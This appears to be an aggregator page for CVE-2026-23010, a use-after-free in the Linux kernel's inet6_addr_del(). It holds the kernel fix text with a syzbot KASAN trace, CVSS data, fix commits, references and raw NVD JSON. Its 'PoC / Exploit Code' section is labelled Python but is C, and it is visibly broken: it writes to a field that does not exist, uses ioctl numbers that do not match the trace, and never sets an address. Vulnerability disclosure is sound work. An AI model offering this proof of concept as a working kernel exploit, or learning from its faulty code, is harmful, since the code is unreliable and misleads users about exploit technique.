CVE-2026-23010

Description

In the Linux kernel, the following vulnerability has been resolved: ipv6: Fix use-after-free in inet6_addr_del(). syzbot reported use-after-free of inet6_ifaddr in inet6_addr_del(). [0] The cited commit accidentally moved ipv6_del_addr() for mngtmpaddr before reading its ifp->flags for temporary addresses in inet6_addr_del(). Let's move ipv6_del_addr() down to fix the UAF. [0]: BUG: KASAN: slab-use-after-free in inet6_addr_del.constprop.0+0x67a/0x6b0 net/ipv6/addrconf.c:3117 Read of size 4 at addr ffff88807b89c86c by task syz.3.1618/9593 CPU: 0 UID: 0 PID: 9593 Comm: syz.3.1618 Not tainted syzkaller #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025 Call Trace: <TASK> __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0xcd/0x630 mm/kasan/report.c:482 kasan_report+0xe0/0x110 mm/kasan/report.c:595 inet6_addr_del.constprop.0+0x67a/0x6b0 net/ipv6/addrconf.c:3117 addrconf_del_ifaddr+0x11e/0x190 net/ipv6/addrconf.c:3181 inet6_ioctl+0x1e5/0x2b0 net/ipv6/af_inet6.c:582 sock_do_ioctl+0x118/0x280 net/socket.c:1254 sock_ioctl+0x227/0x6b0 net/socket.c:1375 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:597 [inline] __se_sys_ioctl fs/ioctl.c:583 [inline] __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xcd/0xf80 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f164cf8f749 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f164de64038 EFLAGS: 00000246 ORIG_RAX: 0000000000000010 RAX: ffffffffffffffda RBX: 00007f164d1e5fa0 RCX: 00007f164cf8f749 RDX: 0000200000000000 RSI: 0000000000008936 RDI: 0000000000000003 RBP: 00007f164d013f91 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 R13: 00007f164d1e6038 R14: 00007f164d1e5fa0 R15: 00007ffde15c8288 </TASK> Allocated by task 9593: kasan_save_stack+0x33/0x60 mm/kasan/common.c:56 kasan_save_track+0x14/0x30 mm/kasan/common.c:77 poison_kmalloc_redzone mm/kasan/common.c:397 [inline] __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:414 kmalloc_noprof include/linux/slab.h:957 [inline] kzalloc_noprof include/linux/slab.h:1094 [inline] ipv6_add_addr+0x4e3/0x2010 net/ipv6/addrconf.c:1120 inet6_addr_add+0x256/0x9b0 net/ipv6/addrconf.c:3050 addrconf_add_ifaddr+0x1fc/0x450 net/ipv6/addrconf.c:3160 inet6_ioctl+0x103/0x2b0 net/ipv6/af_inet6.c:580 sock_do_ioctl+0x118/0x280 net/socket.c:1254 sock_ioctl+0x227/0x6b0 net/socket.c:1375 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:597 [inline] __se_sys_ioctl fs/ioctl.c:583 [inline] __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xcd/0xf80 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f Freed by task 6099: kasan_save_stack+0x33/0x60 mm/kasan/common.c:56 kasan_save_track+0x14/0x30 mm/kasan/common.c:77 kasan_save_free_info+0x3b/0x60 mm/kasan/generic.c:584 poison_slab_object mm/kasan/common.c:252 [inline] __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:284 kasan_slab_free include/linux/kasan.h:234 [inline] slab_free_hook mm/slub.c:2540 [inline] slab_free_freelist_hook mm/slub.c:2569 [inline] slab_free_bulk mm/slub.c:6696 [inline] kmem_cache_free_bulk mm/slub.c:7383 [inline] kmem_cache_free_bulk+0x2bf/0x680 mm/slub.c:7362 kfree_bulk include/linux/slab.h:830 [inline] kvfree_rcu_bulk+0x1b7/0x1e0 mm/slab_common.c:1523 kvfree_rcu_drain_ready mm/slab_common.c:1728 [inline] kfree_rcu_monitor+0x1d0/0x2f0 mm/slab_common.c:1801 process_one_work+0x9ba/0x1b20 kernel/workqueue.c:3257 process_scheduled_works kernel/workqu ---truncated---

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 5.15（受影响的稳定版本）

Linux Kernel < 6.1（受影响的稳定版本）

Linux Kernel < 6.5（受影响的稳定版本）

Linux Kernel < 6.6（受影响的稳定版本）

具体commit: 2684610a9c9c53f262fd864fa5c407e79f304804

具体commit: 6e89d60b4f03014f7d412ce64b17a840840d490e

具体commit: 8b6dcb565e419846bd521e31d5e1f98e4d0e1179

具体commit: 9356b69d03d0f50cce91cebdabd33dda023fbd64

具体commit: ddf96c393a33aef4887e2e406c76c2f8cda1419c

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <unistd.h>

// Structure for IPv6 address manipulation
struct in6_ifreq {
    struct in6_addr ifr6_addr;
    unsigned int ifr6_prefixlen;
    int ifr6_ifindex;
};

#define AF_INET6 10
#define SIOCSIFADDR_IN6 0x8915  // Set IPv6 address
#define SIOCDIFADDR_IN6 0x8917  // Delete IPv6 address

int main() {
    int sockfd;
    struct in6_ifreq ifr;
    
    // Create IPv6 socket
    sockfd = socket(AF_INET6, SOCK_DGRAM, 0);
    if (sockfd < 0) {
        perror("socket creation failed");
        return -1;
    }
    
    // Configure target interface
    strncpy(ifr.ifr6_addr.sin6_family, "lo", sizeof(ifr.ifr6_addr) - 1);
    ifr.ifr6_ifindex = if_nametoindex("lo");
    if (ifr.ifr6_ifindex == 0) {
        ifr.ifr6_ifindex = 1;  // Default to loopback
    }
    ifr.ifr6_prefixlen = 64;
    
    // Trigger the UAF by rapidly adding and deleting IPv6 addresses
    // This PoC demonstrates the race condition in inet6_addr_del()
    for (int i = 0; i < 1000; i++) {
        // Add temporary IPv6 address
        if (ioctl(sockfd, SIOCSIFADDR_IN6, &ifr) < 0) {
            // Expected to fail on unprivileged context
        }
        
        // Delete IPv6 address - triggers inet6_addr_del()
        if (ioctl(sockfd, SIOCDIFADDR_IN6, &ifr) < 0) {
            // Expected to fail on unprivileged context
        }
    }
    
    close(sockfd);
    printf("PoC executed. Check dmesg for KASAN report.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23010
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23010
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23010/
[4] VulDB https://vuldb.com/cve/CVE-2026-23010
[5] https://git.kernel.org/stable/c/2684610a9c9c53f262fd864fa5c407e79f304804
[6] https://git.kernel.org/stable/c/6e89d60b4f03014f7d412ce64b17a840840d490e
[7] https://git.kernel.org/stable/c/8b6dcb565e419846bd521e31d5e1f98e4d0e1179
[8] https://git.kernel.org/stable/c/9356b69d03d0f50cce91cebdabd33dda023fbd64
[9] https://git.kernel.org/stable/c/ddf96c393a33aef4887e2e406c76c2f8cda1419c

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23010", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-25T15:15:55.867", "lastModified": "2026-04-27T14:16:29.413", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: Fix use-after-free in inet6_addr_del().\n\nsyzbot reported use-after-free of inet6_ifaddr in\ninet6_addr_del(). [0]\n\nThe cited commit accidentally moved ipv6_del_addr() for\nmngtmpaddr before reading its ifp->flags for temporary\naddresses in inet6_addr_del().\n\nLet's move ipv6_del_addr() down to fix the UAF.\n\n[0]:\nBUG: KASAN: slab-use-after-free in inet6_addr_del.constprop.0+0x67a/0x6b0 net/ipv6/addrconf.c:3117\nRead of size 4 at addr ffff88807b89c86c by task syz.3.1618/9593\n\nCPU: 0 UID: 0 PID: 9593 Comm: syz.3.1618 Not tainted syzkaller #0 PREEMPT(full)\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/25/2025\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0xcd/0x630 mm/kasan/report.c:482\n kasan_report+0xe0/0x110 mm/kasan/report.c:595\n inet6_addr_del.constprop.0+0x67a/0x6b0 net/ipv6/addrconf.c:3117\n addrconf_del_ifaddr+0x11e/0x190 net/ipv6/addrconf.c:3181\n inet6_ioctl+0x1e5/0x2b0 net/ipv6/af_inet6.c:582\n sock_do_ioctl+0x118/0x280 net/socket.c:1254\n sock_ioctl+0x227/0x6b0 net/socket.c:1375\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:597 [inline]\n __se_sys_ioctl fs/ioctl.c:583 [inline]\n __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xcd/0xf80 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f164cf8f749\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f164de64038 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\nRAX: ffffffffffffffda RBX: 00007f164d1e5fa0 RCX: 00007f164cf8f749\nRDX: 0000200000000000 RSI: 0000000000008936 RDI: 0000000000000003\nRBP: 00007f164d013f91 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 00007f164d1e6038 R14: 00007f164d1e5fa0 R15: 00007ffde15c8288\n </TASK>\n\nAllocated by task 9593:\n kasan_save_stack+0x33/0x60 mm/kasan/common.c:56\n kasan_save_track+0x14/0x30 mm/kasan/common.c:77\n poison_kmalloc_redzone mm/kasan/common.c:397 [inline]\n __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:414\n kmalloc_noprof include/linux/slab.h:957 [inline]\n kzalloc_noprof include/linux/slab.h:1094 [inline]\n ipv6_add_addr+0x4e3/0x2010 net/ipv6/addrconf.c:1120\n inet6_addr_add+0x256/0x9b0 net/ipv6/addrconf.c:3050\n addrconf_add_ifaddr+0x1fc/0x450 net/ipv6/addrconf.c:3160\n inet6_ioctl+0x103/0x2b0 net/ipv6/af_inet6.c:580\n sock_do_ioctl+0x118/0x280 net/socket.c:1254\n sock_ioctl+0x227/0x6b0 net/socket.c:1375\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:597 [inline]\n __se_sys_ioctl fs/ioctl.c:583 [inline]\n __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xcd/0xf80 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nFreed by task 6099:\n kasan_save_stack+0x33/0x60 mm/kasan/common.c:56\n kasan_save_track+0x14/0x30 mm/kasan/common.c:77\n kasan_save_free_info+0x3b/0x60 mm/kasan/generic.c:584\n poison_slab_object mm/kasan/common.c:252 [inline]\n __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:284\n kasan_slab_free include/linux/kasan.h:234 [inline]\n slab_free_hook mm/slub.c:2540 [inline]\n slab_free_freelist_hook mm/slub.c:2569 [inline]\n slab_free_bulk mm/slub.c:6696 [inline]\n kmem_cache_free_bulk mm/slub.c:7383 [inline]\n kmem_cache_free_bulk+0x2bf/0x680 mm/slub.c:7362\n kfree_bulk include/linux/slab.h:830 [inline]\n kvfree_rcu_bulk+0x1b7/0x1e0 mm/slab_common.c:1523\n kvfree_rcu_drain_ready mm/slab_common.c:1728 [inline]\n kfree_rcu_monitor+0x1d0/0x2f0 mm/slab_common.c:1801\n process_one_work+0x9ba/0x1b20 kernel/workqueue.c:3257\n process_scheduled_works kernel/workqu\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", " ... (truncated)